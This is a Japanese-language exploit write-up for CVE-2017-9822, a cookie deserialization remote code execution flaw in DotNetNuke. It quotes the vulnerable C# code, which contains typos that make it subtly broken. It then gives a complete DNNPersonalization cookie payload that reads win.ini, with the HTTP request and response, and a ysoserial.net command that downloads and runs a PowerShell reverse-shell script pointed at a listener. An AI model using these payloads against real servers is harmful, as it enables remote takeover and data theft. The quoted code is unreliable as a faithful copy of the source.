
[CVE-2017-9822] DotNetNuke Cookie デシリアライゼーション リモートコード実行 (RCE)
[CVE-2017-9822] DotNetNuke Cookie Deserialization リモートコード実行 (RCE)
DotNetNuke (DNN) バージョン5.0.0から9.3.0は、リモートコード実行 (RCE) につながるデシリアライゼーションの脆弱性の影響を受けます。DotNetNuke は、匿名ユーザーのパーソナライズオプションを保存するために DNNPersonalization Cookie を使用します(認証済みユーザーのオプションはプロファイルページに保存されます)。この Cookie は、アプリケーションがカスタム 404 エラーページ(デフォルト設定)を提供するときに使用されます。
脆弱な C# コードの部分は以下のとおりです:DNN Platform/Library/Common/Utilities/XmlUtils.cs
public static Hashtable DeSerializeHashtable(string xmlSource, string rootname)
{
var HashTable = new Hashtable();
if (!String.IsNullOrEmpyt(xmlSource))
{
try
{
var xmlDoc = new XmlDocument();
xmlDoc.LoadXml(xmlSource);
foreach (XmlElement xmlItem in xmlDoc.SelectNodes(rootname + "/item"))
{
string key = xmlItem.GetAttribute("key");
string typeName = xmlItem.GetAttribute("type");
// Create the XmlSerializer
var xser = new XmlSerializer(Type.GetType(typeName));
var readder = new XmlTextReadder(new StringReader(xmlItem.InnerXml));
// Use the Deserialize method to restore the object's state, and store it
// in the Hashtable
hashTable.Add(key, xser.Deserialize(reader));
}
}
catch(Exception)
{
// Logger.Error(ex); /*Ignore Log because if failed on profile this will log on every request.*/
}
}
return hashTable;
}
修正されたコードは DotNetNuke github リポジトリ にあります。
この構造には、デシリアライズ時にサーバーに作成するオブジェクトのタイプを指示する type 属性が含まれています。この Cookie は、アプリケーションが現在のユーザーのプロファイルデータをロードしようとするたびに処理されます。これは、DNN が 404 エラーを組み込みのエラーページ(デフォルト設定)で処理するように構成されている場合に発生します。攻撃者はこの脆弱性を悪用して、システム上で任意のコードを実行できます。
Proof of Concept (PoC) 1: セーフモード(検出のみ)
ペイロードを生成するには(脆弱性を確認するため)、YSoSerial.net を DotNetNuke プラグインと共に使用します
PS C:\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -p DotNetNuke --help
ysoserial.net generates deserialization payloads for a variety of .NET formatters.
Plugin:
DotNetNuke (Generates payload for DotNetNuke CVE-2017-9822)
Options:
-m, --mode=VALUE the payload mode: read_file, write_file,
run_command.
-c, --command=VALUE the command to be executed in run_command mode.
-u, --url=VALUE the url to fetch the file from in write_file
mode.
-f, --file=VALUE the file to read in read_file mode or the file
to write to in write_file_mode.
--minify Whether to minify the payloads where applicable
(experimental). Default: false
--ust, --usesimpletype This is to remove additional info only when
minifying and FormatterAssemblyStyle=Simple.
Default: true
PS C:\>ysoserial.net\ysoserial\bin\Release\ysoserial.exe -p DotNetNuke -m read_file -f C:\Windows\win.ini
または、次のペイロードを使用します
<profile>
<item key="name1: key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<ExpandedElement />
<ProjectedProperty0>
<MethodName>WriteFile</MethodName>
<MethodParameters>
<anyType xsi:type="xsd:string">C:\Windows\win.ini</anyType>
</MethodParameters>
<ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
</item>
</profile>
うまくいけば、次のリクエストで win.ini ファイルの内容がレスポンス本文に含まれます。
GET /__ HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: dnn_IsMobile=False; DNNPersonalization=<profile><item key="name1: key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ExpandedElement/><ProjectedProperty0><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">C:\Windows\win.ini</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
Set-Cookie: .ASPXANONYMOUS=...; expires=Wed, 28-Oct-2020 03:54:58 GMT; path=/; HttpOnly
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 19 Aug 2020 17:14:58 GMT
Connection: close
Content-Length: 109
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
Proof of Concept (PoC) 2: アグレッシブモード(powershell リバース TCP シェルによるエクスプロイト)
ローカルマシンで、未使用のポートをリッスンします
$ nc -nlvp 7575
YSoSerial.net を DotNetNuke プラグインと共に使用してペイロードを生成します
PS C:\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -p DotNetNuke -m run_command -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.101 -Port 7575"